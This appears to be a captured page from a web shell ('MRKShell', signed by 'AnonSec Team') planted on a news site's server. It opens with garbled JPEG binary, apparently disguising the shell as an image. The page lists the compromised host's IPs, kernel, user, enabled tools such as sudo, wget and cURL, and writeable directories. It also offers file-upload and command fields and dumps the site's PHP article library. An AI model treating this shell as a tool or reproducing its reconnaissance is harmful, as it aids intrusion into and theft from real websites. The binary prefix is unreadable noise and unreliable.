JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 104.21.73.244  /  Your IP : 104.23.243.234
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/libraries/api_library.php
<?php
 if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Api_library
{


	private $CI;
	private $client_type;
	private $array_mockup;
    private $array_zonas;
    private $array_bloques;
    private $array_secciones;
    private $array_cajas;
    private $array_contenidos;
    public 	$carpeta_img='home';
    public 	$img_default='';


	function __construct($config="")
    {
    	$this->CI = & get_instance();
    	$this->CI->load->model('nota_modelo','nota',true);
    }


	/*------------------------------------------------------
    Para setear atributos de la clase.
    ------------------------------------------------------*/
    public function setter($att,$value)
    {
        $this->$att = $value;
    }

    public function dame_mas_leidas($limit=4,$order='DESC',$seccion=false){

    	$this->img_default=site_url('css/img/404_1.jpg');

		$this->CI->load->model('nota_model','nota',true);
		$this->CI->load->library('memcached_library');

		$this->CI->memcached_library->usePrefix=false;
		$edicion = $this->CI->memcached_library->get('edicion_publicada');
		if (!$edicion)
		{
			$this->CI->load->model("edicion","edicion",true);
			$edicion = $this->CI->edicion->dameEdicionPublicada();
			$this->CI->memcached_library->add('edicion_publicada', $edicion,72000);
		}

		if(!$seccion)
			$notas=$this->CI->memcached_library->get('ranking_masvistas');
		else
			$notas=$this->CI->memcached_library->get('ranking_masvistas_seccion_'.$seccion);

		if(!$notas){

			$notas = $this->CI->nota->dameLeidas($edicion['id'],$limit,$order,$seccion);
			if(!$seccion)
				$this->CI->memcached_library->add('ranking_masvistas',$notas,600);
			else
				$this->CI->memcached_library->add('ranking_masvistas_seccion_'.$seccion,$notas,600);
			
		}

		if(!$notas) return array();

		$this->CI->memcached_library->usePrefix=true;

		$cien=$notas[0]['visitas'];

		//cargar varios library para usar el limpiarurl
			$this->CI->load->library('varios_library');

		foreach($notas AS $k=>$v){
			$notas[$k]['progress']=$notas[$k]['visitas']*100/$cien;
			$notas[$k]['link']='nota/'.$notas[$k]['id'].'/'.$this->CI->varios_library->limpiarurl($notas[$k]['seccion']).'/'.$notas[$k]['url'];
			$notas[$k]['imagen']=$this->quiero_imagen($v['id'],85,85);
			$notas[$k]['titulo']=$this->CI->varios_library->cortar_texto($v['titulo'],60,' ');

		}
		$this->img_default='';
		return $notas;

    }

	//quiero_imagen -> obtiene la imagen dependiendo la ID de la nota y lo redimensiona en caso de ser necesario
	public function quiero_imagen($id=0,$width=0,$height=0){


		if(empty($id))
			return '';


		$this->CI->load->library('memcached_library');

		$img=$this->CI->memcached_library->get('imagen_de_nota_'.$id);

		if(!$img){
			$img= $this->CI->nota->dameFotoDestacada($id);
			$this->CI->memcached_library->add('imagen_de_nota_'.$id,$img,3600);
		}

		if(empty($img))
			return $this->img_default;



		if(empty($width))
			return $this->convertir_imagen($img['ruta'],$img['imagen']);
		else
			return $this->convertir_imagen($img['ruta'],$img['imagen'],$width,$height);

	}


	public function convertir_imagen($ruta,$imagen,$width=460,$height=259){

		//Copiar si no existe la imagen (Solo valido en entorno de desarrollo)
		if(ENVIRONMENT=='development'){

            //creamos las carpetas
            if(!file_exists(PATH_BASE_FILE."fotos/".$ruta))
            	mkdir(PATH_BASE_FILE."fotos/".$ruta, 0777, true);

            if(!file_exists(PATH_BASE_FILE."fotos/".$ruta.$imagen))
            	@copy('http://img.lagaceta.com.ar/fotos/'.$ruta.$imagen,PATH_BASE_FILE."fotos/".$ruta.$imagen);

		}


		$this->CI->load->library('varios_library');

		$this->CI->varios_library->imagen_format='url';

		$ruta_origen=$ruta;
		$imagen_origen=$imagen;
		$ruta_destino='cache/'.str_replace('notas', 'mobile/'.$this->carpeta_img, $ruta);



		$foto=$this->CI->varios_library->dameImagen($ruta_origen,$imagen_origen,$ruta_destino,$width,$height);

		return $foto;

	}

	public function dame_notas_home($limit = 10,$format = 'json',$name = 'portada')
	{
		$notas = array();

		$ok=false;
		$contenidos=false;
		$this->CI->load->library('varios_library');

		//consulto si existe la caché de las zonas y posiciones.
		$this->CI->load->library('memcached_library');
		$xml = $this->CI->memcached_library->get('mockup_'.$name);
		$xml = false;
		if($xml)
		{
			$ok=true;
			$array_mockup = json_decode($xml,true);
		}
		else
		{
			//consulto que exista el xml de zonas (zonas y posiciones)
			if (file_exists(PATH_BASE_XML."xml/home/mockup_".$name.".xml"))
			{
				$ok=true;
				$xml_zonas = file_get_contents(PATH_BASE_XML."xml/home/mockup_".$name.".xml");
				$array_zonas = $this->CI->varios_library->xml2array($xml_zonas);
				$array_mockup = $array_zonas;
			}
		}

		if($ok)
		{
			
			foreach($array_mockup['zonas'][0] as $v)
			{
				if(isset($v[0]['zona']))
				{
					foreach($v[0]['zona'] as $v2)
					{
						if(isset($v2['bloque']))
						{
							$this->array_mockup['zona'][]=$v2;
						}
						elseif(isset($v2['zona']))
						{
							foreach($v2['zona'] as $v3)
							{
								if(isset($v3['bloque']))
								{
									$this->array_mockup['zona'][]=$v3;
								}
							}
						}
					}
				}
			}

			foreach($this->array_mockup['zona'] as $zona)
			{
				//armo Zonas
				$this->array_zonas[$zona['padre_id_aux']][$zona['id']] = $zona;

				if(isset($this->array_zonas[$zona['padre_id_aux']][$zona['id']]['zonas_hijas']))
				{
					unset($this->array_zonas[$zona['padre_id_aux']][$zona['id']]['zonas_hijas']);
				}

				if(isset($this->array_zonas[$zona['padre_id_aux']][$zona['id']]['bloque']))
				{
					unset($this->array_zonas[$zona['padre_id_aux']][$zona['id']]['bloque']);

					//armo bloques
					$bloques = $zona['bloque'];

					foreach($bloques as $bloque)
					{
						$this->array_bloques[$bloque['padre_id_aux']][$bloque['id']] = $bloque;

						if(isset($this->array_bloques[$bloque['padre_id_aux']][$bloque['id']]['seccion']))
						{
							unset($this->array_bloques[$bloque['padre_id_aux']][$bloque['id']]['seccion']);

							//armo secciones
							$secciones = $bloque['seccion'];

							foreach($secciones as $seccion)
							{
								$this->array_secciones[$seccion['padre_id_aux']][$seccion['id']] = $seccion;

								if(isset($this->array_secciones[$seccion['padre_id_aux']][$seccion['id']]['caja']))
								{
									unset($this->array_secciones[$seccion['padre_id_aux']][$seccion['id']]['caja']);

									//armo cajas
									$cajas = $seccion['caja'];

									foreach($cajas as $caja)
									{
										$this->array_cajas[$caja['id_seccion_aux']][$caja['id']] = $caja;

										if(isset($this->array_cajas[$caja['id_seccion_aux']][$caja['id']]['contenido']))
										{
											unset($this->array_cajas[$caja['id_seccion_aux']][$caja['id']]['contenido']);

											//armo contenidos
											$contenidos = $caja['contenido'];

											foreach($contenidos as $cont)
											{
												if($cont['tipo_id']==1) //Nota
												{
													if(count($notas)<$limit)
													{
														$this->array_contenidos[$cont['caja_id_aux']][$cont['id']] = $cont;
														$not['id'] = $cont['id_contenido'];
														$not['seccion'] = explode('|',$cont['nota_seccion']);
														$not['antetitulo'] = (isset($cont['nota_antetitulo']) && !empty($cont['nota_antetitulo']) && strlen($cont['nota_antetitulo'])<=30)? $cont['nota_antetitulo']:$not['seccion'][1];
														$not['titulo'] = $cont['nota_titulo'];
														$not['bajada'] = (isset($cont['nota_bajada']))?strip_tags($cont['nota_bajada']):'';

														//Limitacion de caracteres
															$not['titulo']=$this->CI->varios_library->cortar_texto($not['titulo'],80,' ');
															$not['bajada']=$this->CI->varios_library->cortar_texto($not['bajada'],160,' ');

														$not['ruta'] = (isset($cont['ruta']))?strip_tags($cont['ruta']):'';
														$not['img'] = (isset($cont['imagen']))?strip_tags($cont['imagen']):'';
														$not['imagen'] = (isset($cont['ruta']))?strip_tags($cont['ruta']):'';
														$not['imagen'] .= (isset($cont['imagen']))?strip_tags($cont['imagen']):'';
														$not['link'] = $cont['link'];
														
														$notas[]= $not;
													}
												}
											}
										}

									}

								}

							}
						}

					}

				}

			}

		}

		switch ($format)
		{

			case 'array':

 					return $notas;
					break;

			case 'json':
			default:

					return json_encode($notas);
					break;

		}

	}


	public function dame_secciones_home($limit = 10,$format = 'json')
	{
		$notas = array();
		$ok=false;
		$contenidos=false;
		$this->CI->load->library('varios_library');

		//consulto si existe la caché de las zonas y posiciones.
		$this->CI->load->library('memcached_library');
		$xml = $this->CI->memcached_library->get('mockup_seccion_1');
		$xml = false;
		if($xml)
		{
			$ok=true;
			$array_mockup = json_decode($xml,true);
		}
		else
		{
			//consulto que exista el xml de zonas (zonas y posiciones)
			if (file_exists(PATH_BASE_XML."xml/home/mockup_seccion_1.xml"))
			{
				$ok=true;
				$xml_zonas = file_get_contents(PATH_BASE_XML."xml/home/mockup_seccion_1.xml");
				$array_zonas = $this->CI->varios_library->xml2array($xml_zonas);
				$array_mockup = $array_zonas;
			}
		}

		if($ok)
		{
			$this->setter('array_mockup',$array_mockup['zonas'][0]);

			foreach($this->array_mockup['zona'] as $zona)
			{
				//armo Zonas
				$this->array_zonas[$zona['padre_id_aux']][$zona['id']] = $zona;

				if(isset($this->array_zonas[$zona['padre_id_aux']][$zona['id']]['zonas_hijas']))
				{
					unset($this->array_zonas[$zona['padre_id_aux']][$zona['id']]['zonas_hijas']);
				}

				if(isset($this->array_zonas[$zona['padre_id_aux']][$zona['id']]['bloque']))
				{
					unset($this->array_zonas[$zona['padre_id_aux']][$zona['id']]['bloque']);

					//armo bloques
					$bloques = $zona['bloque'];

					foreach($bloques as $bloque)
					{
						$this->array_bloques[$bloque['padre_id_aux']][$bloque['id']] = $bloque;

						if(isset($this->array_bloques[$bloque['padre_id_aux']][$bloque['id']]['seccion']))
						{
							unset($this->array_bloques[$bloque['padre_id_aux']][$bloque['id']]['seccion']);

							//armo secciones
							$secciones = $bloque['seccion'];

							foreach($secciones as $seccion)
							{

								$this->array_secciones[$seccion['padre_id_aux']][$seccion['id']] = $seccion;

								if(isset($this->array_secciones[$seccion['padre_id_aux']][$seccion['id']]['caja']))
								{
									unset($this->array_secciones[$seccion['padre_id_aux']][$seccion['id']]['caja']);

									//armo cajas
									$cajas = $seccion['caja'];

									foreach($cajas as $caja)
									{
										$this->array_cajas[$caja['id_seccion_aux']][$caja['id']] = $caja;

										if(isset($this->array_cajas[$caja['id_seccion_aux']][$caja['id']]['contenido']))
										{
											unset($this->array_cajas[$caja['id_seccion_aux']][$caja['id']]['contenido']);

											//armo contenidos
											$contenidos = $caja['contenido'];

											foreach($contenidos as $cont)
											{
												if($cont['tipo_id']==1) //Nota
												{

													$this->array_contenidos[$cont['caja_id_aux']][$cont['id']] = $cont;
													$not['id'] = $cont['id_contenido'];
													$not['seccion'] = explode('|',$cont['nota_seccion']);
													$not['antetitulo'] = (isset($cont['nota_antetitulo']) && !empty($cont['nota_antetitulo']) && strlen($cont['nota_antetitulo'])<=30)? $cont['nota_antetitulo']:$not['seccion'][1];
													$not['titulo'] = $cont['nota_titulo'];
													$not['bajada'] = (isset($cont['nota_bajada']))?strip_tags($cont['nota_bajada']):'';

													//Limitacion de caracteres
														$not['titulo']=$this->CI->varios_library->cortar_texto($not['titulo'],80,' ');
														$not['bajada']=$this->CI->varios_library->cortar_texto($not['bajada'],160,' ');

													$not['ruta'] = (isset($cont['ruta']))?strip_tags($cont['ruta']):'';
													$not['img'] = (isset($cont['imagen']))?strip_tags($cont['imagen']):'';
													$not['imagen'] = (isset($cont['ruta']))?strip_tags($cont['ruta']):'';
													$not['imagen'] .= (isset($cont['imagen']))?strip_tags($cont['imagen']):'';
													$not['link'] = $cont['link'];
													$not['tiene_galeria'] = $cont['tiene_galeria'];
													$not['tiene_video'] = $cont['tiene_video'];

													$this->CI->memcached_library->usePrefix=false;

													$cant_comentarios = $this->CI->memcached_library->get('comentarios_lista_corta_'.$cont['id_contenido'].'_32');

													if($cant_comentarios)
													{
														$not['cant_comentarios'] = $cant_comentarios['total'];
													}
													else
													{
														$not['cant_comentarios'] = 0;
													}

													$not['cant_compartidas'] = $this->CI->memcached_library->get('compartidas_nota_'.$cont['id_contenido']);

													if(!$not['cant_compartidas'])
													{
														$not['cant_compartidas'] = 0;
													}
													$this->CI->memcached_library->usePrefix=true;
												}
											}
										}

									}

								}

							}
						}

					}

				}

			}

		}

		$secciones_finales = array();

		if(is_array($this->array_bloques))
		{
			foreach($this->array_bloques as $zona)
			{

				if(is_array($zona))
				{

					foreach ($zona as $bloque)
					{

						if($bloque['habilitado_aux']==1)
						{

							$ban_sec = 0;
							$ban_sec_id = '';
							$ban_sec_nombre = '';
							$ban_sec_notas = array();
							if(is_array($this->array_secciones[$bloque['id']]))
							{
								foreach($this->array_secciones[$bloque['id']] as $seccion)
								{

									if($seccion['id_encabezado']!=0 && $seccion['id_encabezado']!=6)
									{

										$ban_sec = 1;

										$ban_sec_id = $seccion['id_encabezado'];
										$ban_sec_nombre = $seccion['titulo_encabezado'];
										$ban_sec_url = $seccion['link_encabezado'];

									}

									if(is_array($this->array_cajas[$seccion['id']]))
									{
										foreach($this->array_cajas[$seccion['id']] as $caja)
										{
											if(isset($this->array_contenidos[$caja['id']]) && is_array($this->array_contenidos[$caja['id']]))
											{
												foreach($this->array_contenidos[$caja['id']] as $cont)
												{
													if($cont['tipo']== "Nota")
													{
														$not['id'] = $cont['id_contenido'];
														$not['seccion'] = explode('|',$cont['nota_seccion']);
														$not['antetitulo'] = (isset($cont['nota_antetitulo']) && !empty($cont['nota_antetitulo']) && strlen($cont['nota_antetitulo'])<=30)? $cont['nota_antetitulo']:$not['seccion'][1];
														$not['titulo'] = $cont['nota_titulo'];
														$not['bajada'] = (isset($cont['nota_bajada']))?strip_tags($cont['nota_bajada']):'';

														//Limitacion de caracteres
															$not['titulo']=$this->CI->varios_library->cortar_texto($not['titulo'],80,' ');
															$not['bajada']=$this->CI->varios_library->cortar_texto($not['bajada'],160,' ');

														$not['ruta'] = (isset($cont['ruta']))?strip_tags($cont['ruta']):'';
														$not['img'] = (isset($cont['imagen']))?strip_tags($cont['imagen']):'';
														$not['imagen'] = (isset($cont['ruta']))?strip_tags($cont['ruta']):'';
														$not['imagen'] .= (isset($cont['imagen']))?strip_tags($cont['imagen']):'';
														$not['link'] = $cont['link'];
														$not['hora'] = (!empty($cont['hora']))? $cont['hora']:'';
														$not['tiene_galeria'] = $cont['tiene_galeria'];
														$not['tiene_video'] = $cont['tiene_video'];

														$this->CI->memcached_library->usePrefix=false;

														$cant_comentarios = $this->CI->memcached_library->get('comentarios_lista_corta_'.$cont['id_contenido'].'_32');

														if($cant_comentarios)
														{
															$not['cant_comentarios'] = $cant_comentarios['total'];
														}
														else
														{
															$not['cant_comentarios'] = 0;
														}

														$not['cant_compartidas'] = $this->CI->memcached_library->get('compartidas_nota_'.$cont['id_contenido']);

														if(!$not['cant_compartidas'])
														{
															$not['cant_compartidas'] = 0;
														}
														$this->CI->memcached_library->usePrefix=true;
														$ban_sec_notas[] = $not;
													}
												}
											}
										}
									}

								}
							}

							if($ban_sec == 1)
							{

								$sec_finales['id'] = $ban_sec_id;
								$sec_finales['nombre'] = $ban_sec_nombre;
								$sec_finales['url'] = $ban_sec_url;
								$sec_finales['notas'] = $ban_sec_notas;
								$secciones_finales[] = $sec_finales;
							}

						}

					}

				}

			}
		}
		$secciones_finales = array_chunk($secciones_finales,$limit);
		$secciones_finales = $secciones_finales[0];

		switch ($format)
		{

			case 'array':

					return $secciones_finales;
					break;

			case 'json':
			default:

					return json_encode($secciones_finales);
					break;

		}

	}
}

Anon7 - 2022
AnonSec Team